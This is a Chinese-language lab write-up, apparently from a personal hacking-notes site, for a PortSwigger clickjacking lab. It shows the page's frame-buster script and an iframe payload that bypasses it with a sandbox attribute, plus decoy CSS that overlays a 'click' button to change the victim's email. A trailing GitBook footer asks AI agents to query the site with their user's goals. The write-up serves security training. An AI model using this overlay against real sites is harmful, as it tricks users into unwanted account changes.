> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/clickjacking/clickjacking-with-frame-buster-script.md).

# 带防框架脚本的点击劫持

带防框架脚本的点击劫持笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 带有 Frame Buster 脚本的点击劫持

执行一次点击劫持攻击，在存在“frame buster”的情况下更改用户的电子邮件地址。当账户电子邮件被更改后，实验即完成。

#### 提供的凭证

* 用户： `wiener`
* 密码： `peter`

#### 初始观察

通过尝试在一个经典的 `<iframe>`中显示账户页面，页面返回如下内容（示例 d

{% code overflow="wrap" %}

```html
<iframe src="https://0a74006604f0c1e280f1038e00a10010.web-security-academy.net/my-account?email=wiener"</iframe>
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5abb2fc1235999c76d0d3ef79d45957b1fe80528%2Fimage%20(368).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 观察到的防护（frame buster）

页面包含一个脚本，用于防止被框架嵌入，并在页面以框架方式加载时替换文档主体：

```javascript
if(top != self) {
 window.addEventListener("DOMContentLoaded", function() {
 document.body.innerHTML = '此页面不能被框架嵌入';
 }, false);
}
```

该机制会检测页面是否位于 iframe 中，并使显示的内容失效。

{% code overflow="wrap" %}

```html
<iframe sandbox="allow-forms" src="https://0a74006604f0c1e280f1038e00a10010.web-security-academy.net/my-account?email=jordan@hacked.com"</iframe>
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af9db0fef31083804776c25b95c2407a9b93f184%2Fimage%20(371).png?alt=media" alt=""><figcaption></figcaption></figure>

所使用的诱饵样式和层的示例

```javascript
<style>
iframe{
width: 500px;
height: 600px;
}
div{
position: relative;
top: 455px;
left: 80px;
}
</style>
<div>点击</div>
<iframe sandbox="allow-forms" src="https://0a74006604f0c1e280f1038e00a10010.web-security-academy.net/my-account?email=jordan@hacked.com"</iframe>
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c01f2dde6f12dc8133dd2c960a0fac83482fb1d3%2Fimage%20(372).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/clickjacking/clickjacking-with-frame-buster-script.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
